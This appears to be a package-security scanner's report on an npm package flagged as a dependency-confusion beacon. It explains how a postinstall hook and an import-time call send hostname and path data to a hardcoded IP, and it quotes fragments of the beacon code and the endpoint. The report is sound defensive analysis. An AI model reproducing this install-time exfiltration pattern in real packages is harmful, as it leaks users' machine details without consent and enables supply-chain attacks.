@cecm-web-sdk/core@99.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 15h ago · by lpm-firewall-aiThe postinstall hook and import-time call activate a beacon that sends host and project-location identifiers to a hardcoded external recipient. This is unconsented installation-time data disclosure, supporting a block.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The remote recipient receives identifying host and project-location metadata.
Mechanism
The postinstall script runs beacon.cjs, which sends a POST containing the hostname, install path, and working directory to a hardcoded IP address. The main entrypoint also invokes the same beacon on import.
Attack narrative
The package automatically sends the machine hostname and local install and working-directory paths to a fixed external endpoint during installation. Importing its main entrypoint triggers the same send. The source shows no recipient-specific consent for this disclosure.
AI rationale
The postinstall hook and import-time call activate a beacon that sends host and project-location identifiers to a hardcoded external recipient. This is unconsented installation-time data disclosure, supporting a block.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically after installation through its postinstall script.
- beacon.cjs sends a POST to a fixed external IP and includes the machine hostname, install path, and working directory in its payload.
- Importing index.js also calls the beacon without requiring a user action.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically after installation through its postinstall script.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@cecm-web-sdk/core";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @cecm-web-sdk/core@99.0.1.
See all versions of @cecm-web-sdk/core for other recorded verdicts.
- Avoid installing @cecm-web-sdk/core@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.